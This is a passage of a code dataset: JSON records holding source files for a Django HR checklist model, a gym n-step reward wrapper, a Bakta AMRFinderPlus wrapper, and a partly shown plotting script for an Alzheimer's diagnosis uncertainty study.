fullName\n self.dateSigned = dateSigned\n self.save()\n\n @staticmethod\n def getPAFAuthorizers(pafID):\n pafAuths = []\n for obj in PAFAuthorizer.objects.filter(pafID=pafID):\n pafAuths.append(obj)\n return pafAuths\n\n @staticmethod\n def get_Paf_Managers():\n managers = []\n for p in PAFAuthorizer.objects.filter(signature_number=1):\n managers.append(p)\n return managers\n\n \"\"\"\n This function gets the string version of a field's value\n Author: Corrina Barr\n :param self: the Model's object(an instance of the model, a row in the model)\n :param field: the field in the object you want to be converted to a string\n :return: returns the object's field as a string datatype so it is easier for python to work with\n \"\"\"\n\n def get_string_version(self, field):\n return str(field)\n\n\nclass ChecklistTask(models.Model):\n taskID = models.BigAutoField(primary_key=True)\n description = models.CharField(max_length=100, blank=True, null=True)\n department = models.ForeignKey(CostCenter, on_delete=models.CASCADE)\n status = models.BooleanField(default=True, blank=True)\n\n def __str__(self):\n return str(self.taskID)\n\n\nclass NewHireChecklist(models.Model):\n empID = models.ForeignKey(Employee, on_delete=models.CASCADE, to_field='associateID')\n taskID = models.ForeignKey(ChecklistTask, on_delete=models.CASCADE)\n taskAssignee = models.ForeignKey(Employee, on_delete=models.CASCADE, related_name='employee', to_field='associateID')\n dueDate = models.DateField(blank=True, null=True)\n completed = models.BooleanField()\n dateCompleted = models.DateField(blank=True, null=True)\n\n def __str__(self):\n return str(self.empID)\n\n def updateChecklist(self, employeeID, taskID, dueDate):\n self.empID = employeeID\n self.taskID = taskID\n self.dueDate = dueDate\n\n def createChecklist(self, employeeID):\n self.empID = employeeID\n self.save()\n\n \"\"\"\n This function gets the string version of a field's value\n Author: Corrina Barr\n :param self: the Model's object(an instance of the model, a row in the model)\n :param field: the field in the object you want to be converted to a string\n :return: returns the object's field as a string datatype so it is easier for python to work with\n \"\"\"\n\n def get_string_version(self, field):\n return str(field)\n\n \"\"\"\n This function returns all checklist in json format\n Written by: Zaawar Ejaz\n :return: json formatted data\n\n \"\"\"\n\n @staticmethod\n def get_assigned_checklist(assigneeID):\n cursor = connection.cursor()\n result = []\n\n if UserPermissions.objects.filter(user=assigneeID, permission__key=\"view_all_checklist\").count() > 0:\n cursor.execute(\n 'SELECT DISTINCT '\n '(SELECT COUNT(*) FROM smart_hr_newhirechecklist newhire WHERE newhire.\"empID_id\" = emp.\"associateID\") as \"totalTasks\", '\n '(SELECT COUNT(*) FROM smart_hr_newhirechecklist newhire WHERE newhire.\"empID_id\" = emp.\"associateID\" and newhire.\"taskAssignee_id\" = %s) as \"assigneeTasks\", '\n '(SELECT COUNT(*) FROM smart_hr_newhirechecklist newhire WHERE newhire.\"empID_id\" = emp.\"associateID\" and newhire.\"completed\" = True) as \"totalTasksCompleted\", '\n '(SELECT COUNT(*) FROM smart_hr_newhirechecklist newhire WHERE newhire.\"empID_id\" = emp.\"associateID\" and newhire.\"taskAssignee_id\" = %s and newhire.\"completed\" = True) as \"assigneeTasksCompleted\", '\n 'emp.\"associateID\", emp.\"firstName\", emp.\"middleName\", emp.\"lastName\", role.\"title\" as position, costcenter.\"costCenterName\" as department, emp.\"doh\", manager.\"firstName\" as mfname, manager.\"lastName\" as mlname '\n 'FROM smart_hr_newhirechecklist '\n 'INNER JOIN office_app_employee AS emp '\n 'ON smart_hr_newhirechecklist.\"empID_id\" = emp.\"associateID\"'\n 'INNER JOIN office_app_employeedepartment AS empdept '\n 'ON emp.\"associateID\" = empdept.\"associateID_id\"'\n 'INNER JOIN office_app_costcenter AS costcenter '\n 'ON costcenter.\"costCenterCode\" = empdept.\"departmentID_id\" '\n 'INNER JOIN office_app_role AS role '\n 'ON role.\"roleID\" = empdept.\"roleID_id\" '\n 'INNER JOIN (SELECT * FROM office_app_employee) manager '\n 'ON manager.\"associateID\" = costcenter.\"managerBy_id\" ', [assigneeID, assigneeID]\n )\n else:\n cursor.execute(\n 'SELECT DISTINCT '\n '(SELECT COUNT(*) FROM smart_hr_newhirechecklist newhire WHERE newhire.\"empID_id\" = emp.\"associateID\") as \"totalTasks\", '\n '(SELECT COUNT(*) FROM smart_hr_newhirechecklist newhire WHERE newhire.\"empID_id\" = emp.\"associateID\" and newhire.\"taskAssignee_id\" = %s) as \"assigneeTasks\", '\n '(SELECT COUNT(*) FROM smart_hr_newhirechecklist newhire WHERE newhire.\"empID_id\" = emp.\"associateID\" and newhire.\"completed\" = True) as \"totalTasksCompleted\", '\n '(SELECT COUNT(*) FROM smart_hr_newhirechecklist newhire WHERE newhire.\"empID_id\" = emp.\"associateID\" and newhire.\"taskAssignee_id\" = %s and newhire.\"completed\" = True) as \"assigneeTasksCompleted\", '\n 'emp.\"associateID\", emp.\"firstName\", emp.\"middleName\", emp.\"lastName\", role.\"title\" as position, costcenter.\"costCenterName\" as department, emp.\"doh\", manager.\"firstName\" as mfname, manager.\"lastName\" as mlname '\n 'FROM smart_hr_newhirechecklist '\n 'INNER JOIN office_app_employee AS emp '\n 'ON smart_hr_newhirechecklist.\"empID_id\" = emp.\"associateID\"'\n 'INNER JOIN office_app_employeedepartment AS empdept '\n 'ON emp.\"associateID\" = empdept.\"associateID_id\"'\n 'INNER JOIN office_app_costcenter AS costcenter '\n 'ON costcenter.\"costCenterCode\" = empdept.\"departmentID_id\" '\n 'INNER JOIN office_app_role AS role '\n 'ON role.\"roleID\" = empdept.\"roleID_id\" '\n 'INNER JOIN (SELECT * FROM office_app_employee) manager '\n 'ON manager.\"associateID\" = costcenter.\"managedBy_id\" '\n 'WHERE smart_hr_newhirechecklist.\"taskAssignee_id\" = %s ', [assigneeID, assigneeID, assigneeID]\n )\n try:\n for row in cursor.fetchall():\n result.append(dict(zip([col[0] for col in cursor.description], row)))\n except:\n return {\"data\": result}\n\n return {\"data\": result}\n", "repo_name": "fangzening/IntellgentOffice", "sub_path": "smart_hr/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 10932, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "cryptography.fernet.Fernet", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.settings.ENCRYPT_KEY", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 12, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.BigAutoField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.EmailField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 34, "usage_type": "name"}, {"api_name": "django.db.connection.cursor", "line_number": 86, "usage_type": "call"}, {"api_name": "django.db.connection", "line_number": 86, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 112, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 112, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 113, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 113, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 113, "usage_type": "attribute"}, {"api_name": "django.db.models.IntegerField", "line_number": 114, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 114, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 115, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 115, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 116, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 116, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 154, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 154, "usage_type": "name"}, {"api_name": "django.db.models.BigAutoField", "line_number": 155, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 155, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 156, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 156, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 157, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 157, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 157, "usage_type": "attribute"}, {"api_name": "django.db.models.BooleanField", "line_number": 158, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 158, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 164, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 164, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 165, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 165, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 165, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 166, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 166, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 166, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 167, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 167, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 167, "usage_type": "attribute"}, {"api_name": "django.db.models.DateField", "line_number": 168, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 168, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 169, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 169, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 170, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 170, "usage_type": "name"}, {"api_name": "django.db.connection.cursor", "line_number": 204, "usage_type": "call"}, {"api_name": "django.db.connection", "line_number": 204, "usage_type": "name"}]} {"seq_id": "15624861514", "text": "import gym\nfrom collections import deque\nimport numpy as np\n\n\nclass NstepWrapper(gym.Wrapper):\n\tdef __init__(self, env, nstep, gamma):\n\t\tsuper(NstepWrapper, self).__init__(env)\n\t\tself.env = env\n\t\tself.nstep = nstep\n\t\tself.gamma = gamma\n\n\t\t# nstep\n\t\tself.reset_buffer()\n\n\t\t# multiplier\n\t\tself.discount_multiplier = np.array([gamma**i for i in range(nstep)])\n\n\tdef reset_buffer(self):\n\t\tself.obs = deque(maxlen=self.nstep)\n\t\tself.obs2 = deque(maxlen=self.nstep)\n\t\tself.acts = deque(maxlen=self.nstep)\n\t\tself.rews = deque(maxlen=self.nstep)\n\t\tself.dones = deque(maxlen=self.nstep)\n\n\tdef reset(self):\n\t\tself.reset_buffer()\n\t\to = self.env.reset()\n\t\tself.obs.append(o)\n\t\treturn o\n\n\tdef nstep_reward(self, rlist):\n\t\treturn np.sum(self.discount_multiplier * np.array(rlist))\n\n\tdef step(self, action):\n\t\to, r, done, info = self.env.step(action)\n\t\t# record\n\t\tself.obs2.append(o)\n\t\tself.rews.append(r)\n\t\tself.acts.append(action)\n\t\tself.dones.append(done)\n\t\t# add to info if necessary\n\t\tif len(self.obs2) == self.nstep:\n\t\t\tnstep_r = self.nstep_reward(self.rews)\n\t\t\tnstep_data = [self.obs[0], self.acts[0], nstep_r, self.obs2[-1], self.dones[-1]]\n\t\t\tinfo.update({'nstep_data_{}'.format(self.nstep): nstep_data})\n\t\t# record obs1\n\t\tself.obs.append(o)\n\t\treturn o, r, done, info\n", "repo_name": "robintyh1/nstep-sil", "sub_path": "nstep_wrapper.py", "file_name": "nstep_wrapper.py", "file_ext": "py", "file_size_in_byte": 1262, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "71", "api": [{"api_name": "gym.Wrapper", "line_number": 6, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 20, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 21, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 22, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 23, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}]} {"seq_id": "21551864946", "text": "import logging\nimport subprocess as sp\n\nfrom pathlib import Path\nfrom typing import Sequence\n\nimport bakta.config as cfg\nimport bakta.constants as bc\nimport bakta.features.orf as orf\n\n\nlog = logging.getLogger('EXPERT-AMRFINDER')\n\n\ndef search(cdss: Sequence[dict], cds_fasta_path: Path):\n \"\"\"Conduct expert CDS analysis with AMRFinderPlus.\"\"\"\n amrfinder_output_path = cfg.tmp_path.joinpath('amrfinder.tsv')\n amrfinderplus_db_path = cfg.db_path.joinpath('amrfinderplus-db')\n amrfinderplus_db_latest_path = amrfinderplus_db_path.joinpath('latest')\n\n amrfinderplus_tmp_path = cfg.tmp_path.joinpath('amrfinderplus')\n amrfinderplus_tmp_path.mkdir()\n env = cfg.env.copy()\n env['TMPDIR'] = str(amrfinderplus_tmp_path)\n\n cmd = [\n 'amrfinder',\n '--database', str(amrfinderplus_db_latest_path),\n '--protein', str(cds_fasta_path),\n '--plus',\n '--translation_table', str(cfg.translation_table),\n '--output', str(amrfinder_output_path),\n '--threads', str(cfg.threads)\n ]\n log.debug('cmd=%s', cmd)\n proc = sp.run(\n cmd,\n cwd=str(cfg.tmp_path),\n env=env,\n stdout=sp.PIPE,\n stderr=sp.PIPE,\n universal_newlines=True\n )\n if(proc.returncode != 0):\n log.debug('stdout=\\'%s\\', stderr=\\'%s\\'', proc.stdout, proc.stderr)\n log.warning('AMR expert system failed! amrfinder-error-code=%d', proc.returncode)\n raise Exception(f\"amrfinder error! error code: {proc.returncode}. Please, try 'amrfinder_update --force_update --database {amrfinderplus_db_path}' to update AMRFinderPlus's internal database.\")\n\n cds_found = set()\n cds_by_hexdigest = orf.get_orf_dictionary(cdss)\n with amrfinder_output_path.open() as fh:\n for line in fh:\n if(line[:7] != 'Protein'):\n (\n aa_identifier, gene, product, scope, element_type, element_subtype, clazz, subclass, method, target_length, reference_sequence_length,\n cov_ref_seq, ident_ref_seq, alignment_length, accession_closest_seq, name_closest_seq, hmm_id, hmm_description\n ) = line.split('\\t')\n cds = cds_by_hexdigest[aa_identifier]\n hit = {\n 'type': 'amrfinder',\n 'rank': 95,\n 'gene': gene if gene != '' else None,\n 'product': product,\n 'method': method\n }\n if(method.lower() != 'hmm'):\n hit['query_cov'] = int(alignment_length) / len(cds['aa'])\n model_cov = float(cov_ref_seq) / 100\n hit['model_cov'] = model_cov\n identity = float(ident_ref_seq) / 100\n hit['identity'] = identity\n hit['id'] = accession_closest_seq\n hit['db_xrefs'] = [f'{bc.DB_XREF_NCBI_PROTEIN}:{accession_closest_seq}']\n else:\n model_cov = 0\n identity = 0\n hit['id'] = hmm_id\n hit['db_xrefs'] = [f'{bc.DB_XREF_NCBI_FAMILIES}:{hmm_id}']\n\n cds.setdefault('expert', [])\n cds['expert'].append(hit)\n log.debug(\n 'hit: gene=%s, product=%s, method=%s, target-cov=%0.3f, identity=%0.3f, contig=%s, start=%i, stop=%i, strand=%s',\n gene, product, method, model_cov, identity, cds['contig'], cds['start'], cds['stop'], cds['strand']\n )\n cds_found.add(aa_identifier)\n\n log.info('found=%i', len(cds_found))\n return cds_found\n", "repo_name": "oschwengers/bakta", "sub_path": "bakta/expert/amrfinder.py", "file_name": "amrfinder.py", "file_ext": "py", "file_size_in_byte": 3640, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 356, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "typing.Sequence", "line_number": 15, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 15, "usage_type": "name"}, {"api_name": "bakta.config.tmp_path.joinpath", "line_number": 17, "usage_type": "call"}, {"api_name": "bakta.config.tmp_path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "bakta.config", "line_number": 17, "usage_type": "name"}, {"api_name": "bakta.config.db_path.joinpath", "line_number": 18, "usage_type": "call"}, {"api_name": "bakta.config.db_path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "bakta.config", "line_number": 18, "usage_type": "name"}, {"api_name": "bakta.config.tmp_path.joinpath", "line_number": 21, "usage_type": "call"}, {"api_name": "bakta.config.tmp_path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "bakta.config", "line_number": 21, "usage_type": "name"}, {"api_name": "bakta.config.env.copy", "line_number": 23, "usage_type": "call"}, {"api_name": "bakta.config.env", "line_number": 23, "usage_type": "attribute"}, {"api_name": "bakta.config", "line_number": 23, "usage_type": "name"}, {"api_name": "bakta.config.translation_table", "line_number": 31, "usage_type": "attribute"}, {"api_name": "bakta.config", "line_number": 31, "usage_type": "name"}, {"api_name": "bakta.config.threads", "line_number": 33, "usage_type": "attribute"}, {"api_name": "bakta.config", "line_number": 33, "usage_type": "name"}, {"api_name": "subprocess.run", "line_number": 36, "usage_type": "call"}, {"api_name": "bakta.config.tmp_path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "bakta.config", "line_number": 38, "usage_type": "name"}, {"api_name": "subprocess.PIPE", "line_number": 40, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 41, "usage_type": "attribute"}, {"api_name": "bakta.features.orf.get_orf_dictionary", "line_number": 50, "usage_type": "call"}, {"api_name": "bakta.features.orf", "line_number": 50, "usage_type": "name"}, {"api_name": "bakta.constants.DB_XREF_NCBI_PROTEIN", "line_number": 73, "usage_type": "attribute"}, {"api_name": "bakta.constants", "line_number": 73, "usage_type": "name"}, {"api_name": "bakta.constants.DB_XREF_NCBI_FAMILIES", "line_number": 78, "usage_type": "attribute"}, {"api_name": "bakta.constants", "line_number": 78, "usage_type": "name"}]} {"seq_id": "21268971094", "text": "import argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport misc\nfrom evaluation import eval_submission\nfrom evaluation import parse_data\n\nplt.rcParams['font.sans-serif'] = ['SimSun'] # 中文字体设置-黑体\nplt.rcParams['axes.unicode_minus'] = False # 解决保存图像是负号'-'显示为方块的问题\nsns.set(font='SimSun', style='white', ) # 解决Seaborn中文显示问题\n\n\ndef get_arg_parser(i):\n parser = argparse.ArgumentParser()\n parser.add_argument('--reference', '-r', default='C:/Users/16046/Desktop/Programming/python/深度学习/证据深度学习/'\n 'Trustworthy_AD/Trustworthy_AD//folds/fold' + str(i) + '_test.csv')\n parser.add_argument('--prediction', '-p', default='C:/Users/16046/Desktop/Programming/python/深度学习/证据深度学习/'\n 'Trustworthy_AD/Trustworthy_AD/output/Ours/prediction-ECE40%-测试'\n + str(i) + '.csv')\n parser.add_argument('--EDL', action='store_true', default=True) # 是否使用不确定性预测\n return parser\n\n\ndef BCA_mAUC_uncertainty_threshold(i, step):\n '''\n 不确定性阈值和分类性能曲线\n i表示需要画第几个模型的曲线\n step表示步长\n '''\n args = get_arg_parser(i).parse_args()\n mAUC_list = []\n BCA_list = []\n x = np.linspace(0.2, 1, step + 1)\n\n for j in np.linspace(0.2, 1, step + 1):\n result = eval_submission(misc.read_csv(args.reference), misc.read_csv(args.prediction), args.EDL, draw=False,\n total_epoch=300, uncertainty_threshold=j)\n mAUC_list.append(result['mAUC'])\n BCA_list.append(result['bca'])\n\n mAUC_list = np.array(mAUC_list)\n BCA_list = np.array(BCA_list)\n\n # 绘制曲线mAUC\n fig1 = plt.figure(figsize=(8, 8))\n ax1 = fig1.add_subplot(111)\n # ax1.set_title('', fontproperties='SimHei', fontsize=20)\n ax1.set_xlim([0.1, 1.05])\n ax1.set_ylim([0.925, 1])\n ax1.plot(x, mAUC_list, color='k', label=u'mAUC', marker='o', linewidth=5, markersize=12)\n ax1.set_ylabel(u'mAUC', fontsize='35')\n ax1.set_xlabel(u'不确定性拒识阈值', fontsize='35')\n plt.grid()\n plt.legend(loc='upper right', fontsize=35)\n plt.xticks(fontsize=20)\n plt.yticks(fontsize=20)\n plt.show()\n\n # 绘制BCA曲线\n fig2 = plt.figure(figsize=(8, 8))\n ax1 = fig2.add_subplot(111)\n # ax1.set_title('', fontproperties='SimHei', fontsize=20)\n ax1.set_xlim([0.1, 1.05])\n ax1.set_ylim([0.85, 1])\n ax1.plot(x, BCA_list, color='k', label=u'BCA', marker='o', linewidth=5, markersize=12)\n ax1.set_ylabel(u'BCA', fontsize='35')\n ax1.set_xlabel(u'不确定性拒识阈值', fontsize='35')\n plt.grid()\n plt.legend(loc='upper right', fontsize=35)\n plt.xticks(fontsize=20)\n plt.yticks(fontsize=20)\n plt.show()\n\n return\n\n\ndef cls_confidence_acc_EDL():\n '''\n 测试集所有样本 每个类别的 平均错误率 不确定性 错误不确定性\n '''\n pred = []\n true = []\n u = []\n CN_pred = []\n CN_true = []\n CN_u = []\n CN_confi = []\n MCI_pred = []\n MCI_true = []\n MCI_u = []\n MCI_confi = []\n AD_pred = []\n AD_true = []\n AD_u = []\n AD_confi = []\n for i in range(20):\n args = get_arg_parser(i).parse_args()\n _, p_diag, _, _, t_diag, _, _, _, uncertainty, _ = \\\n parse_data(misc.read_csv(args.reference), misc.read_csv(args.prediction), True, uncertainty_threshold=1)\n t_diag = t_diag.astype(int)\n\n for j in range(len(t_diag)):\n pred.append(p_diag[j])\n true.append(t_diag[j])\n u.append(uncertainty[j])\n if t_diag[j] == 0:\n CN_true.append(t_diag[j])\n CN_pred.append(p_diag[j])\n CN_u.append(uncertainty[j])\n CN_confi.append(1 - uncertainty[j])\n elif t_diag[j] == 1:\n MCI_true.append(t_diag[j])\n MCI_pred.append(p_diag[j])\n MCI_u.append(uncertainty[j])\n MCI_confi.append(1 - uncertainty[j])\n else:\n AD_true.append(t_diag[j])\n AD_pred.append(p_diag[j])\n AD_u.append(uncertainty[j])\n AD_confi.append(1 - uncertainty[j])\n\n pred = np.array(pred)\n true = np.array(true)\n u = np.array(u)\n CN_pred = np.array(CN_pred)\n CN_true = np.array(CN_true)\n CN_u = np.array(CN_u)\n CN_confi = np.array(CN_confi)\n MCI_pred = np.array(MCI_pred)\n MCI_true = np.array(MCI_true)\n MCI_u = np.array(MCI_u)\n MCI_confi = np.array(MCI_confi)\n AD_pred = np.array(AD_pred)\n AD_true = np.array(AD_true)\n AD_u = np.array(AD_u)\n AD_confi = np.array(AD_confi)\n\n error = 1 - np.array(pred == true).sum() / len(true)\n acc = np.array(pred == true).sum() / len(true)\n mean_ErrU = np.mean(u[pred != true])\n mean_RightU = np.mean(u[pred == true])\n print(\"总错误率:\", error, \" 错误不确定性：\", mean_ErrU, \" 总精度：\", acc, \" 正确不确定性：\", mean_RightU)\n\n CN_acc = np.array(CN_pred == CN_true).sum() / len(CN_true)\n CN_meanConfi = np.mean(CN_confi[CN_pred != CN_true])\n CN_error = 1 - np.array(CN_pred == CN_true).sum() / len(CN_true)\n CN_meanErrU = np.mean(CN_u[CN_pred != CN_true])\n CN_meanRightU = np.mean(CN_u[CN_pred == CN_true])\n CN_meanU = np.mean(CN_u)\n\n MCI_acc = np.array(MCI_pred == MCI_true).sum() / len(MCI_true)\n MCI_meanConfi = np.mean(MCI_confi[MCI_pred != MCI_true])\n MCI_error = 1 - np.array(MCI_pred == MCI_true).sum() / len(MCI_true)\n MCI_meanErrU = np.mean(MCI_u[MCI_pred != MCI_true])\n MCI_meanRightU = np.mean(MCI_u[MCI_pred == MCI_true])\n MCI_meanU = np.mean(MCI_u)\n\n AD_acc = np.array(AD_pred == AD_true).sum() / len(AD_true)\n AD_meanConfi = np.mean(AD_confi[AD_pred != AD_true])\n AD_error = 1 - np.array(AD_pred == AD_true).sum() / len(AD_true)\n AD_meanErrU = np.mean(AD_u[AD_pred != AD_true])\n AD_meanRightU = np.mean(AD_u[AD_pred == AD_true])\n AD_meanU = np.mean(AD_u)\n\n # 画图\n x = ['CN', 'MCI', 'AD']\n # fig, ax1 = plt.subplots(figsize=(6, 6))\n # ax1.set_title('本文方法', fontproperties='SimSun', fontsize=35)\n # ax1.set_ylim([0, 0.3])\n # ax1.bar(x, [CN_error, MCI_error, AD_error], color='k', linewidth=1, label=u'错误率', alpha=0.3)\n # ax1.set_ylabel(u'错误率', fontsize='35')\n # plt.xticks(fontsize=35)\n # plt.yticks(fontsize=20)\n #\n # ax3 = ax1.twinx() # 组合图\n # ax3.set_ylim([0, 0.7])\n # ax3.plot(x, [CN_meanU, MCI_meanU, AD_meanU], 'k', ms=15, lw=5, marker='o', label=u'平均不确定性')\n # ax3.plot(x, [CN_meanErrU, MCI_meanErrU, AD_meanErrU], 'k', ms=15, lw=5, marker='o', label=u'错误平均不确定性')\n # ax3.plot(x, [CN_meanRightU, MCI_meanRightU, AD_meanRightU], 'k', ms=15, lw=5, marker='^', label=u'正确平均不确定性')\n # ax3.set_ylabel(u'平均不确定性', fontsize='35', rotation=90)\n #\n # plt.grid()\n # fig.legend(loc='upper left', bbox_to_anchor=(0, 1), bbox_transform=ax1.transAxes, fontsize='30')\n # plt.xticks(fontsize=35)\n # plt.yticks(fontsize=20)\n # plt.show()\n\n fig, ax1 = plt.subplots(figsize=(6, 6))\n ax1.set_title('本文方法', fontproperties='SimSun', fontsize=35)\n ax1.set_ylim([0.7, 1])\n ax1.bar(x, [CN_acc, MCI_acc, AD_acc], color='k', linewidth=1, label=u'精度', alpha=0.3)\n ax1.set_ylabel(u'精度', fontsize='35')\n plt.xticks(fontsize=35)\n plt.yticks(fontsize=20)\n\n ax3 = ax1.twinx() # 组合图\n ax3.set_ylim([0.35, 0.85])\n ax3.plot(x, [CN_meanConfi, MCI_meanConfi, AD_meanConfi], 'k', ms=15, lw=5, marker='o', label=u'可靠性')\n ax3.set_ylabel(u'可靠性', fontsize='35', rotation=90)\n\n plt.grid()\n fig.legend(loc='upper left', bbox_to_anchor=(0, 1), bbox_transform=ax1.transAxes, fontsize='30')\n plt.xticks(fontsize=35)\n plt.yticks(fontsize=20)\n plt.show()\n return\n\n\ndef cls_confidence_acc():\n '''\n 测试集所有样本 每个类别的 平均错误率 不确定性 错误不确定性\n '''\n CN_pred = []\n CN_true = []\n CN_confi = []\n MCI_pred = []\n MCI_true = []\n MCI_confi = []\n AD_pred = []\n AD_true = []\n AD_confi = []\n for i in range(20):\n args = get_arg_parser(i).parse_args()\n _, p_diag, _, _, t_diag, _, _, prob, _ = \\\n parse_data(misc.read_csv(args.reference), misc.read_csv(args.prediction), False, uncertainty_threshold=1)\n t_diag = t_diag.astype(int)\n prob = prob.max(1) # 取最大的\n\n for j in range(len(t_diag)):\n if t_diag[j] == 0:\n CN_true.append(t_diag[j])\n CN_pred.append(p_diag[j])\n CN_confi.append(prob[j])\n elif t_diag[j] == 1:\n MCI_true.append(t_diag[j])\n MCI_pred.append(p_diag[j])\n MCI_confi.append(prob[j])\n else:\n AD_true.append(t_diag[j])\n AD_pred.append(p_diag[j])\n AD_confi.append(prob[j])\n\n CN_pred = np.array(CN_pred)\n CN_true = np.array(CN_true)\n CN_confi = np.array(CN_confi)\n MCI_pred = np.array(MCI_pred)\n MCI_true = np.array(MCI_true)\n MCI_confi = np.array(MCI_confi)\n AD_pred = np.array(AD_pred)\n AD_true = np.array(AD_true)\n AD_confi = np.array(AD_confi)\n\n CN_acc = np.array(CN_pred == CN_true).sum() / len(CN_true)\n # CN_error = 1 - np.array(CN_pred == CN_true).sum() / len(CN_true)\n CN_meanConfi = np.mean(CN_confi[CN_pred != CN_true])\n\n MCI_acc = np.array(MCI_pred == MCI_true).sum() / len(MCI_true)\n # MCI_error = 1 - np.array(MCI_pred == MCI_true).sum() / len(MCI_true)\n MCI_meanConfi = np.mean(MCI_confi[MCI_pred != MCI_true])\n\n AD_acc = np.array(AD_pred == AD_true).sum() / len(AD_true)\n AD_meanConfi = np.mean(AD_confi[AD_pred != AD_true])\n\n # 画图\n x = ['CN', 'MCI', 'AD']\n fig, ax1 = plt.subplots(figsize=(6, 6))\n ax1.set_title('MinimalRNN', fontproperties='SimSun', fontsize=35)\n ax1.set_ylim([0.7, 1])\n ax1.bar(x, [CN_acc, MCI_acc, AD_acc], color='k', linewidth=1, label=u'精度', 